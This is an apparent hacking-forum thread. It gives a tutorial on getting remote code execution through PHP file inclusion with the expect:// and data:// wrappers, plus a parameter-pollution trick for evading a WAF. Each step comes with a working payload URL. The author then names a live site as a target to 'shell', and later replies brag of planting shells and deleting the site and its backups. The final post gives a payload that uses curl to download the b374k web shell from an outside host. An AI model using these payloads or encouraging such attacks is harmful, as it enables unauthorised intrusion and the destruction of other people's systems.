[Keeper]

Since I've not seen some of these methods covered around here (except for php://filter and php://input), I decided to put up some material on 'em. Basically, they are more than self-explanatory but I still feel the need to tutorialize the process. First of all, in order to execute anything, you'd need to comply with the following conditions:

• $_GET parameter
  - Which we'll be passing the payload to
  
• Version of PHP
  - 4.3+ for expect://
  - 5.2+ for data://
  
• allow_url_include function enabled
  - In order to inject through the parameter
  

The expect:// wrapper is not enabled by default as it's an extension from the PECL package (consider it installed for now). The syntax it accepts is:

Code

expect://[command]

Consider this small snippet running on the backend:

PHP Code


<?php

include $_GET['page'];
//..
?>

Now we can pretty much run everything php-valid through it. so take the following URL for instance:

Code

http://example.com/Keeper.php?page=expect://id

The data:// wrapper bears the same concept. Syntax followed:

Code

data://text/plain;base64,[command encoded in base64]

or we can simply:

Code

data://text/plain,[command]

We'll take under account that we'll be using the above inclusion of the $_GET parameter so there be two possible scenarios:

Code

http://example.com/Keeper.php?page=data://text/plain;base64,JTNDJTNGc3lzdGVtJTI4JTI3aWQlMjclMjklM0IlM0YlM0U=

Code

http://example.com/Keeper.php?page=data://text/plain,<?system('id');?>

In case of a WAF, filtering out code that is after the wrapper as in the last examples, we can use parameter pollution to pass/split our payload into two parts, resulting in both parameters being concatenated and separated by a comma likewise:

Code

http://example.com/Keeper.php?page=data://text/plain&page=<?system('id');?>

For the HPP part, I have this covered here, won't rephrase it again:
IDS & WAF Evasion with HTTP Parameter Pollution



As of the content presented in this thread, let's see who will be able to shell

Code

http://gayovich.com.ua/

• ZeroFreak
  
• Araragi
  
• PuzzuS
  
• MaXoNe
  
• anonbux0
  
• ...
  

Solutions are to be PMed obviously so as not to spoil it for others. Small and tidy.

[MaXoNe]

It is already full of shells lol.
Good tut btw :)

[Zhen.]

Gotta love them wrappers. <3
Pretty neat write-up and a great test example in relation to the tutorial. 🙂

[urez]

LMFAO looks like your site got hacked?
http://keeperax.netai.net/

Edit: The song is actually catchy.. still playing

[Nyckel]

http://gayovich.com.ua/araragi.txt

Yeah I can ddos... so what.

[Keeper]

LMFAO looks like your site got hacked?
http://keeperax.netai.net/

I had a page for my services as the index and since it never worked I couldn't just put blank dark-gray background.

[urez]

I had a page for my services as the index and since it never worked I couldn't just put blank dark-gray background.

Shame, I went there to buy one of your services and I see that :C

[MaXoNe]

http://gayovich.com.ua/maxone

http://gayovich.com.ua/maxone

[Dyme‎‎‎‎‎‎‎‎‎‎‎‎]

http://gayovich.com.ua/instinct

http://gayovich.com.ua/instinct

someone was funny and deleted everything.

[DpzFAsq4UEK8]

Thanks for lesson.

[Apple J4ck.]

Nice tutorial, thanks for the challenge.
http://gayovich.com.ua/AppleJ4ck.txt

[VipVince]

Just seen this and site is fucked, boner killer!

[DpzFAsq4UEK8]

Just seen this and site is fucked, boner killer!

Sorry for fucking up the site.
Backups are removed too.

[VipVince]

Out of curiosity what was the solution since the site is completely fucked now?

Something like

PHP Code


<?php 
http://example.com/Keeper.php?page=data://text/plain&page=<?system('wget"www.someserver/shellphp -o egg.php");?>

Perhaps base64 encoded?

[DpzFAsq4UEK8]

I base64 encoded this:

Code

<?system('curl http://b374k-shell.googlecode.com/files/b374k-2.5.php >> shellnamehere.php');?>